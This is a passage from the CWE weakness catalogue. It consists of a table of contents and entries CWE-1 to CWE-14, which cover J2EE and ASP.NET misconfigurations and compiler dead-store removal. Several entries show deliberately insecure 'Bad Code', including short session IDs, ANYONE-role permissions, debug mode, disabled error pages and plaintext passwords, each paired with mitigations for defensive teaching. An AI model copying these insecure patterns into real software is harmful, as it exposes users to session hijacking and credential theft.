CWE-557: Concurrency Issues.....	877
CWE-558: Use of getlogin() in Multithreaded Application.....	877
CWE-559: Often Misused: Arguments and Parameters.....	878
CWE-560: Use of umask() with chmod-style Argument.....	879
CWE-561: Dead Code.....	879
CWE-562: Return of Stack Variable Address.....	882
CWE-563: Assignment to Variable without Use.....	883
CWE-564: SQL Injection: Hibernate.....	884
CWE-565: Reliance on Cookies without Validation and Integrity Checking.....	885
CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key.....	886
CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context.....	888
CWE-568: finalize() Method Without super.finalize().....	889
CWE-569: Expression Issues.....	890
CWE-570: Expression is Always False.....	890
CWE-571: Expression is Always True.....	893
CWE-572: Call to Thread run() instead of start().....	894
CWE-573: Improper Following of Specification by Caller.....	895
CWE-574: EJB Bad Practices: Use of Synchronization Primitives.....	896
CWE-575: EJB Bad Practices: Use of AWT Swing.....	897
CWE-576: EJB Bad Practices: Use of Java I/O.....	899
CWE-577: EJB Bad Practices: Use of Sockets.....	901
CWE-578: EJB Bad Practices: Use of Class Loader.....	902
CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session.....	904
CWE-580: clone() Method Without super.clone().....	905
CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined.....	906
CWE-582: Array Declared Public, Final, and Static.....	906
CWE-583: finalize() Method Declared Public.....	907
CWE-584: Return Inside Finally Block.....	908
CWE-585: Empty Synchronized Block.....	909
CWE-586: Explicit Call to Finalize().....	910
CWE-587: Assignment of a Fixed Address to a Pointer.....	911
CWE-588: Attempt to Access Child of a Non-structure Pointer.....	912
CWE-589: Call to Non-ubiquitous API.....	913
CWE-590: Free of Memory not on the Heap.....	914
CWE-591: Sensitive Data Storage in Improperly Locked Memory.....	916
CWE-592: DEPRECATED: Authentication Bypass Issues.....	917
CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created.....	917
CWE-594: J2EE Framework: Saving Unserializable Objects to Disk.....	919
CWE-595: Comparison of Object References Instead of Object Contents.....	920
CWE-596: Incorrect Semantic Object Comparison.....	922
CWE-597: Use of Wrong Operator in String Comparison.....	922
CWE-598: Information Exposure Through Query Strings in GET Request.....	923
CWE-599: Missing Validation of OpenSSL Certificate.....	924
CWE-600: Uncaught Exception in Servlet.....	925
CWE-601: URL Redirection to Untrusted Site ('Open Redirect').....	926

CWE-602: Client-Side Enforcement of Server-Side Security.....	931
CWE-603: Use of Client-Side Authentication.....	934
CWE-604: Deprecated Entries.....	935
CWE-605: Multiple Binds to the Same Port.....	936
CWE-606: Unchecked Input for Loop Condition.....	937
CWE-607: Public Static Final Field References Mutable Object.....	938
CWE-608: Struts: Non-private Field in ActionForm Class.....	938
CWE-609: Double-Checked Locking.....	940
CWE-610: Externally Controlled Reference to a Resource in Another Sphere.....	941
CWE-611: Improper Restriction of XML External Entity Reference ('XXE').....	942
CWE-612: Information Exposure Through Indexing of Private Data.....	944
CWE-613: Insufficient Session Expiration.....	945
CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute.....	946
CWE-615: Information Exposure Through Comments.....	947
CWE-616: Incomplete Identification of Uploaded File Variables (PHP).....	947
CWE-617: Reachable Assertion.....	949
CWE-618: Exposed Unsafe ActiveX Method.....	950
CWE-619: Dangling Database Cursor ('Cursor Injection').....	951
CWE-620: Unverified Password Change.....	952
CWE-621: Variable Extraction Error.....	953
CWE-622: Improper Validation of Function Hook Arguments.....	955
CWE-623: Unsafe ActiveX Control Marked Safe For Scripting.....	955
CWE-624: Executable Regular Expression Error.....	956
CWE-625: Permissive Regular Expression.....	957
CWE-626: Null Byte Interaction Error (Poison Null Byte).....	959
CWE-627: Dynamic Variable Evaluation.....	960
CWE-628: Function Call with Incorrectly Specified Arguments.....	961
CWE-629: Weaknesses in OWASP Top Ten (2007).....	963
CWE-630: DEPRECATED: Weaknesses Examined by SAMATE.....	964
CWE-631: DEPRECATED: Resource-specific Weaknesses.....	964
CWE-632: DEPRECATED: Weaknesses that Affect Files or Directories.....	965
CWE-633: DEPRECATED: Weaknesses that Affect Memory.....	965
CWE-634: DEPRECATED: Weaknesses that Affect System Processes.....	965
CWE-635: Weaknesses Originally Used by NVD from 2008 to 2016.....	965
CWE-636: Not Failing Securely ('Failing Open').....	966
CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism').....	968
CWE-638: Not Using Complete Mediation.....	969
CWE-639: Authorization Bypass Through User-Controlled Key.....	971
CWE-640: Weak Password Recovery Mechanism for Forgotten Password.....	972
CWE-641: Improper Restriction of Names for Files and Other Resources.....	974
CWE-642: External Control of Critical State Data.....	975
CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection').....	980
CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax.....	982
CWE-645: Overly Restrictive Account Lockout Mechanism.....	983
CWE-646: Reliance on File Name or Extension of Externally-Supplied File.....	984
CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions.....	985
CWE-648: Incorrect Use of Privileged APIs.....	986
CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking....	988
CWE-650: Trusting HTTP Permission Methods on the Server Side.....	990
CWE-651: Information Exposure Through WSDL File.....	991
CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection').....	992
CWE-653: Insufficient Compartmentalization.....	993
CWE-654: Reliance on a Single Factor in a Security Decision.....	995
CWE-655: Insufficient Psychological Acceptability.....	996
CWE-656: Reliance on Security Through Obscurity.....	997
CWE-657: Violation of Secure Design Principles.....	999
CWE-658: Weaknesses in Software Written in C.....	1000
CWE-659: Weaknesses in Software Written in C++.....	1002
CWE-660: Weaknesses in Software Written in Java.....	1004
CWE-661: Weaknesses in Software Written in PHP.....	1005
CWE-662: Improper Synchronization.....	1006

CWE-663: Use of a Non-reentrant Function in a Concurrent Context.....	1007
CWE-664: Improper Control of a Resource Through its Lifetime.....	1008
CWE-665: Improper Initialization.....	1010
CWE-666: Operation on Resource in Wrong Phase of Lifetime.....	1014
CWE-667: Improper Locking.....	1014
CWE-668: Exposure of Resource to Wrong Sphere.....	1018
CWE-669: Incorrect Resource Transfer Between Spheres.....	1019
CWE-670: Always-Incorrect Control Flow Implementation.....	1020
CWE-671: Lack of Administrator Control over Security.....	1021
CWE-672: Operation on a Resource after Expiration or Release.....	1021
CWE-673: External Influence of Sphere Definition.....	1024
CWE-674: Uncontrolled Recursion.....	1025
CWE-675: Duplicate Operations on Resource.....	1026
CWE-676: Use of Potentially Dangerous Function.....	1027
CWE-677: Weakness Base Elements.....	1030
CWE-678: Composites.....	1037
CWE-679: DEPRECATED: Chain Elements.....	1037
CWE-680: Integer Overflow to Buffer Overflow.....	1037
CWE-681: Incorrect Conversion between Numeric Types.....	1038
CWE-682: Incorrect Calculation.....	1041
CWE-683: Function Call With Incorrect Order of Arguments.....	1044
CWE-684: Incorrect Provision of Specified Functionality.....	1045
CWE-685: Function Call With Incorrect Number of Arguments.....	1046
CWE-686: Function Call With Incorrect Argument Type.....	1047
CWE-687: Function Call With Incorrectly Specified Argument Value.....	1048
CWE-688: Function Call With Incorrect Variable or Reference as Argument.....	1049
CWE-689: Permission Race Condition During Resource Copy.....	1050
CWE-690: Unchecked Return Value to NULL Pointer Dereference.....	1051
CWE-691: Insufficient Control Flow Management.....	1053
CWE-692: Incomplete Blacklist to Cross-Site Scripting.....	1054
CWE-693: Protection Mechanism Failure.....	1054
CWE-694: Use of Multiple Resources with Duplicate Identifier.....	1056
CWE-695: Use of Low-Level Functionality.....	1057
CWE-696: Incorrect Behavior Order.....	1058
CWE-697: Insufficient Comparison.....	1058
CWE-698: Execution After Redirect (EAR).....	1060
CWE-699: Development Concepts.....	1061
CWE-700: Seven Pernicious Kingdoms.....	1062
CWE-701: Weaknesses Introduced During Design.....	1062
CWE-702: Weaknesses Introduced During Implementation.....	1070
CWE-703: Improper Check or Handling of Exceptional Conditions.....	1083
CWE-704: Incorrect Type Conversion or Cast.....	1085
CWE-705: Incorrect Control Flow Scoping.....	1086
CWE-706: Use of Incorrectly-Resolved Name or Reference.....	1087
CWE-707: Improper Enforcement of Message or Data Structure.....	1087
CWE-708: Incorrect Ownership Assignment.....	1089
CWE-709: Named Chains.....	1090
CWE-710: Improper Adherence to Coding Standards.....	1090
CWE-711: Weaknesses in OWASP Top Ten (2004).....	1091
CWE-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS).....	1092
CWE-713: OWASP Top Ten 2007 Category A2 - Injection Flaws.....	1092
CWE-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution.....	1093
CWE-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference.....	1093
CWE-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF).....	1093
CWE-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling.....	1094
CWE-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management.....	1094
CWE-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage.....	1094
CWE-720: OWASP Top Ten 2007 Category A9 - Insecure Communications.....	1095
CWE-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access.....	1095
CWE-722: OWASP Top Ten 2004 Category A1 - Unvalidated Input.....	1095
CWE-723: OWASP Top Ten 2004 Category A2 - Broken Access Control.....	1096

CWE-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management.....	1097
CWE-725: OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws.....	1097
CWE-726: OWASP Top Ten 2004 Category A5 - Buffer Overflows.....	1098
CWE-727: OWASP Top Ten 2004 Category A6 - Injection Flaws.....	1098
CWE-728: OWASP Top Ten 2004 Category A7 - Improper Error Handling.....	1099
CWE-729: OWASP Top Ten 2004 Category A8 - Insecure Storage.....	1099
CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service.....	1100
CWE-731: OWASP Top Ten 2004 Category A10 - Insecure Configuration Management.....	1100
CWE-732: Incorrect Permission Assignment for Critical Resource.....	1101
CWE-733: Compiler Optimization Removal or Modification of Security-critical Code.....	1108
CWE-734: Weaknesses Addressed by the CERT C Secure Coding Standard (2008 Version).....	1109
CWE-735: CERT C Secure Coding (2008 Version) Section 01 - Preprocessor (PRE).....	1111
CWE-736: CERT C Secure Coding (2008 Version) Section 02 - Declarations and Initialization (DCL).....	1111
CWE-737: CERT C Secure Coding (2008 Version) Section 03 - Expressions (EXP).....	1111
CWE-738: CERT C Secure Coding (2008 Version) Section 04 - Integers (INT).....	1112
CWE-739: CERT C Secure Coding (2008 Version) Section 05 - Floating Point (FLP).....	1113
CWE-740: CERT C Secure Coding (2008 Version) Section 06 - Arrays (ARR).....	1114
CWE-741: CERT C Secure Coding (2008 Version) Section 07 - Characters and Strings (STR).....	1115
CWE-742: CERT C Secure Coding (2008 Version) Section 08 - Memory Management (MEM).....	1116
CWE-743: CERT C Secure Coding (2008 Version) Section 09 - Input Output (FIO).....	1117
CWE-744: CERT C Secure Coding (2008 Version) Section 10 - Environment (ENV).....	1118
CWE-745: CERT C Secure Coding (2008 Version) Section 11 - Signals (SIG).....	1119
CWE-746: CERT C Secure Coding (2008 Version) Section 12 - Error Handling (ERR).....	1120
CWE-747: CERT C Secure Coding (2008 Version) Section 49 - Miscellaneous (MSC).....	1120
CWE-748: CERT C Secure Coding (2008 Version) Section 50 - POSIX (POS).....	1121
CWE-749: Exposed Dangerous Method or Function.....	1122
CWE-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors.....	1126
CWE-751: 2009 Top 25 - Insecure Interaction Between Components.....	1126
CWE-752: 2009 Top 25 - Risky Resource Management.....	1127
CWE-753: 2009 Top 25 - Porous Defenses.....	1127
CWE-754: Improper Check for Unusual or Exceptional Conditions.....	1128
CWE-755: Improper Handling of Exceptional Conditions.....	1134
CWE-756: Missing Custom Error Page.....	1135
CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade').....	1136
CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior.....	1137
CWE-759: Use of a One-Way Hash without a Salt.....	1138
CWE-760: Use of a One-Way Hash with a Predictable Salt.....	1142
CWE-761: Free of Pointer not at Start of Buffer.....	1144
CWE-762: Mismatched Memory Management Routines.....	1147
CWE-763: Release of Invalid Pointer or Reference.....	1149
CWE-764: Multiple Locks of a Critical Resource.....	1153
CWE-765: Multiple Unlocks of a Critical Resource.....	1154
CWE-766: Critical Variable Declared Public.....	1155
CWE-767: Access to Critical Private Variable via Public Method.....	1156
CWE-768: Incorrect Short Circuit Evaluation.....	1158
CWE-769: Uncontrolled File Descriptor Consumption.....	1159
CWE-770: Allocation of Resources Without Limits or Throttling.....	1160
CWE-771: Missing Reference to Active Allocated Resource.....	1167
CWE-772: Missing Release of Resource after Effective Lifetime.....	1168
CWE-773: Missing Reference to Active File Descriptor or Handle.....	1172
CWE-774: Allocation of File Descriptors or Handles Without Limits or Throttling.....	1173
CWE-775: Missing Release of File Descriptor or Handle after Effective Lifetime.....	1174
CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion').....	1175
CWE-777: Regular Expression without Anchors.....	1177
CWE-778: Insufficient Logging.....	1178
CWE-779: Logging of Excessive Data.....	1180
CWE-780: Use of RSA Algorithm without OAEP.....	1181
CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code.....	1182
CWE-782: Exposed IOCTL with Insufficient Access Control.....	1184
CWE-783: Operator Precedence Logic Error.....	1185
CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision.....	1187

CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer.....	1189
CWE-786: Access of Memory Location Before Start of Buffer.....	1191
CWE-787: Out-of-bounds Write.....	1193
CWE-788: Access of Memory Location After End of Buffer.....	1194
CWE-789: Uncontrolled Memory Allocation.....	1197
CWE-790: Improper Filtering of Special Elements.....	1199

CWE-1: DEPRECATED: Location

Category ID: 1 (Deprecated Category) Status: Deprecated

Description

Summary

This category has been deprecated. It was originally used for organizing the Development View (CWE-699), but it introduced unnecessary complexity and depth to the resulting tree.

CWE-2: 7PK - Environment

Category ID: 2 (Category) Status: Draft

Description

Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that are typically introduced during unexpected environmental conditions. According to the authors of the Seven Pernicious Kingdoms, "This section includes everything that is outside of the source code but is still critical to the security of the product that is being created. Because the issues covered by this kingdom are not directly related to source code, we separated it from the rest of the kingdoms."

CWE-3: DEPRECATED: Technology-specific Environment Issues

Category ID: 3 (Deprecated Category) Status: Deprecated

Description

Summary

This category has been deprecated. It was originally intended as a "catch-all" for environment issues for technologies that did not have their own CWE, but it introduced unnecessary depth and complexity to the Development View (CWE-699).

CWE-4: J2EE Environment Issues

Category ID: 4 (Category) Status: Incomplete

Description

Summary

J2EE framework related environment issues with security implications.

Relationships

Nature	Type	ID	Name	V	Page

OWASP Top Ten 2004	A10	CWE More Specific	Insecure Configuration Management

CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption

Weakness ID: 5 (*Weakness Variant*)

Status: Draft

Description

Summary

Information sent over a network can be compromised while in transit. An attacker may be able to read or modify the contents if the data are sent in plaintext or are weakly encrypted.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- Java

Common Consequences

Confidentiality

Read application data

Integrity

Modify application data

Potential Mitigations

System Configuration

The application configuration should ensure that SSL or an encryption mechanism of equivalent strength and vetted reputation is used for all access-controlled pages.

Other Notes

If an application uses SSL to guarantee confidential communication with client browsers, the application configuration should make it impossible to view any access controlled page without SSL. There are three common ways for SSL to be bypassed:

A user manually enters URL and types "HTTP" rather than "HTTPS".

Attackers intentionally send a user to an insecure URL.

A programmer erroneously creates a relative link to a page in the application, which does not switch from HTTP to HTTPS. (This is particularly easy to do when the link moves between public and secured areas on a web site.)

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	2	7PK - Environment	700	1
ChildOf	C	4	J2EE Environment Issues	699	1
ChildOf	B	319	Cleartext Transmission of Sensitive Information	1000	552

Nature	Type	ID	Name	✓	Page
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	888	1365

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	J2EE Misconfiguration: Insecure Transport

CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length

Weakness ID: 6 (*Weakness Variant*) **Status:** Incomplete

Description

Summary

The J2EE application is configured to use an insufficient session ID length.

Extended Description

If an attacker can guess or steal a session ID, then they may be able to take over the user's session (called session hijacking). The number of possible session IDs increases with increased session ID length, making it more difficult to guess or steal a session ID.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Java

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

If an attacker can guess an authenticated user's session identifier, they can take over the user's session.

Demonstrative Examples

The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

XML Example:

Bad Code

```
<sun-web-app>
...
<session-config>
  <session-properties>
    <property name="idLengthBytes" value="8">
      <description>The number of bytes in this web module's session ID.</description>
    </property>
  </session-properties>
</session-config>
...
</sun-web-app>
```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session. Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server

documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

Potential Mitigations

Implementation

Session identifiers should be at least 128 bits long to prevent brute-force session guessing. A shorter session identifier leaves the application open to brute-force session guessing attacks.

Implementation

A lower bound on the number of valid session identifiers that are available to be guessed is the number of users that are active on a site at any given moment. However, any users that abandon their sessions without logging out will increase this number. (This is one of many good reasons to have a short inactive session timeout.) With a 64 bit session identifier, assume 32 bits of entropy. For a large web site, assume that the attacker can try 1,000 guesses per second and that there are 10,000 valid session identifiers at any given moment. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is less than 4 minutes. Now assume a 128 bit session identifier that provides 64 bits of entropy. With a very large web site, an attacker might try 10,000 guesses per second with 100,000 valid session identifiers available to be guessed. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is greater than 292 years.

Background Details

Session ID's can be used to identify communicating parties in a web environment.

The expected number of seconds required to guess a valid session identifier is given by the equation: $(2^B+1)/(2^A*S)$ Where: - B is the number of bits of entropy in the session identifier. - A is the number of guesses an attacker can try each second. - S is the number of valid session identifiers that are valid and available to be guessed at any given time. The number of bits of entropy in the session identifier is always less than the total number of bits in the session identifier. For example, if session identifiers were provided in ascending order, there would be close to zero bits of entropy in the session identifier no matter the identifier's length. Assuming that the session identifiers are being generated using a good source of random numbers, we will estimate the number of bits of entropy in a session identifier to be half the total number of bits in the session identifier. For realistic identifier lengths this is possible, though perhaps optimistic.

CWE-7: J2EE Misconfiguration: Missing Custom Error Page

Weakness ID: 7 (*Weakness Variant*)

Status: Incomplete

Description

Summary

The default error page of a web application should not display sensitive information about the software system.

Extended Description

A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.

When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Java

Common Consequences**Confidentiality****Read application data**

A stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

Demonstrative Examples

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

Java Example:*Bad Code*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

Potential Mitigations**Implementation**

Handle exceptions appropriately in source code.

Implementation**System Configuration**

Always define appropriate error pages. The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security practice, and a good configuration will also define a last-chance error handler that catches any exception that could possibly be thrown by the application.

Implementation

Do not attempt to process an error or attempt to mask it.

Implementation

Verify return values are correct and do not supply sensitive information about the system.

CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote

Weakness ID: 8 (*Weakness Variant*) Status: Incomplete

Description

Summary

When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Confidentiality

Integrity

Read application data

Modify application data

Demonstrative Examples

The following example demonstrates the weakness.

XML Example:

Bad Code

```
<ejb-jar>
  <enterprise-beans>
    <entity>
      <ejb-name>EmployeeRecord</ejb-name>
      <home>com.wombat.empl.EmployeeRecordHome</home>
      <remote>com.wombat.empl.EmployeeRecord</remote>
      ...
    </entity>
    ...
  </enterprise-beans>
</ejb-jar>
```

Potential Mitigations

Implementation

Declare Java beans "local" when possible. When a bean must be remotely accessible, make sure that sensitive information is not exposed, and ensure that the application logic performs appropriate validation of any data that might be modified by an attacker.

Other Notes

Entity beans that expose a remote interface become part of an application's attack surface. For performance reasons, an application should rarely use remote entity beans, so there is a good chance that a remote entity bean declaration is an error.

Software Fault Patterns	SFP23	Exposed Data

CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods

Weakness ID: 9 (*Weakness Variant*)

Status: Draft

Description

Summary

If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the software system.

Extended Description

If the EJB deployment descriptor contains one or more method permissions that grant access to the special ANYONE role, it indicates that access control for the application has not been fully thought through or that the application is structured in such a way that reasonable access control restrictions are impossible.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Other

Other

Demonstrative Examples

The following deployment descriptor grants ANYONE permission to invoke the Employee EJB's method named getSalary().

XML Example:

Bad Code

```
<ejb-jar>
...
<assembly-descriptor>
<method-permission>
<role-name>ANYONE</role-name>
<method>
<ejb-name>Employee</ejb-name>
<method-name>getSalary</method-name>
</method-permission>
</assembly-descriptor>
...
</ejb-jar>
```

Potential Mitigations

Architecture and Design

System Configuration

Follow the principle of least privilege when assigning access rights to EJB methods. Permission to invoke EJB methods should not be granted to the ANYONE role.

7 Pernicious Kingdoms	J2EE Misconfiguration: Weak Access Permissions

CWE-10: DEPRECATED: ASP.NET Environment Issues

Category ID: 10 (Deprecated Category) Status: Deprecated

Description

Summary

This category has been deprecated. It added unnecessary depth and complexity to its associated views.

CWE-11: ASP.NET Misconfiguration: Creating Debug Binary

Weakness ID: 11 (Weakness Variant) Status: Draft

Description

Summary

Debugging messages help attackers learn about the system and plan a form of attack.

Extended Description

ASP .NET applications can be configured to produce debug binaries. These binaries give detailed debugging messages and should not be used in production environments. Debug binaries are meant to be used in a development or testing environment and can pose a security risk if they are deployed to production.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- .NET

Common Consequences

Confidentiality

Read application data

Attackers can leverage the additional information they gain from debugging output to mount attacks targeted on the framework, database, or other resources used by the application.

Demonstrative Examples

The file web.config contains the debug mode setting. Setting debug to "true" will let the browser display debugging information.

XML Example:

Bad Code

```
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <system.web>
    <compilation
      defaultLanguage="c#"
      debug="true"
    />
    ...
  </system.web>
</configuration>
```

Change the debug mode to false when the application is deployed into production.

Potential Mitigations

System Configuration

Avoid releasing debug binaries into the production environment. Change the debug mode to false when the application is deployed into production.

Background Details

The debug attribute of the <compilation> tag defines whether compiled binaries should include debugging information. The use of debug binaries causes an application to provide as much information about itself as possible to the user.

Relationships

Nature	Type	ID	Name	Count	Page
ChildOf	C	2	7PK - Environment	700	1
ChildOf	V	215	Information Exposure Through Debug Information	1000	401
ChildOf	C	519	.NET Environment Issues	699	847

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
7 Pernicious Kingdoms	ASP.NET Misconfiguration: Creating Debug Binary

CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page

Weakness ID: 12 (*Weakness Variant*)**Status:** Draft

Description

Summary

An ASP .NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses.

Time of Introduction

- Implementation
- Operation

Applicable Platforms

Languages

- .NET

Common Consequences

Confidentiality

Read application data

Default error pages gives detailed information about the error that occurred, and should not be used in production environments.

Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.

Demonstrative Examples

The mode attribute of the <customErrors> tag in the Web.config file defines whether custom or default error pages are used.

In the following insecure ASP.NET application setting, custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

ASP.NET Example:

Bad Code

```
<customErrors mode="Off" />
```

A more secure setting is to set the custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

ASP.NET Example:

Good Code

```
<customErrors mode="RemoteOnly" />
```

Another secure option is to set the mode attribute of the <customErrors> tag to use a custom page as follows:

ASP.NET Example:*Good Code*

```
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
```

Potential Mitigations**System Configuration**

Handle exceptions appropriately in source code. ASP .NET applications should be configured to use custom error pages instead of the framework default page.

Architecture and Design

Do not attempt to process an error or attempt to mask it.

Implementation

Verify return values are correct and do not supply sensitive information about the system.

Background Details

The mode attribute of the <customErrors> tag defines whether custom or default error pages are used.

Relationships

CWE-13: ASP.NET Misconfiguration: Password in Configuration File

Weakness ID: 13 (*Weakness Variant*)

Status: Draft

Description**Summary**

Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences**Access Control**

Gain privileges / assume identity

Demonstrative Examples**Example 1:**

The following excerpt from an XML configuration file defines a connectionString for connecting to a database.

XML Example:*Bad Code*

```
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
  providerName="System.Data.Odbc" />
```

```
</connectionStrings>
```

The connectionString is in cleartext, allowing anyone who can read the file access to the database.

Example 2:

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example:

Bad Code

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Potential Mitigations

Implementation

Credentials stored in configuration files should be encrypted, Use standard APIs and industry accepted algorithms to encrypt the credentials stored in configuration files.

CWE-14: Compiler Removal of Code to Clear Buffers

Weakness ID: 14 (*Weakness Base*)

Status: Draft

Description

Summary

Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."

Extended Description

This compiler optimization error occurs when:

1. Secret data are stored in memory.
2. The secret data are scrubbed from memory by overwriting its contents.
3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.

Time of Introduction

- Implementation

- Build and Compilation

Applicable Platforms

Languages

- C
- C++

Common Consequences

Confidentiality

Access Control

Read memory

Bypass protection mechanism

This weakness will allow data that has not been cleared from memory to be read. If this data contains sensitive password information, then an attacker can read the password and use the information to bypass protection mechanisms.

Detection Methods

Black Box

This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box

This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

Demonstrative Examples

The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using `memset()`.

C Example:

Bad Code

```
void GetData(char *MFAddr) {
    char pwd[64];
    if (GetPasswordFromUser(pwd, sizeof(pwd))) {
        if (ConnectToMainframe(MFAddr, pwd)) {
            // Interaction with mainframe
        }
    }
    memset(pwd, 0, sizeof(pwd));
}
```

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to `memset()` will be removed as a dead store because the buffer `pwd` is not used after its value is overwritten [18]. Because the buffer `pwd` contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.

It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to `memset()` as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.

Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

Potential Mitigations

Implementation

Store the sensitive data in a "volatile" memory location if available.

Build and Compilation

If possible, configure your compiler so that it does not remove dead stores.

Architecture and Design

Where possible, encrypt sensitive data that are used by a software system.

CWE-15: External Control of System or Configuration Setting

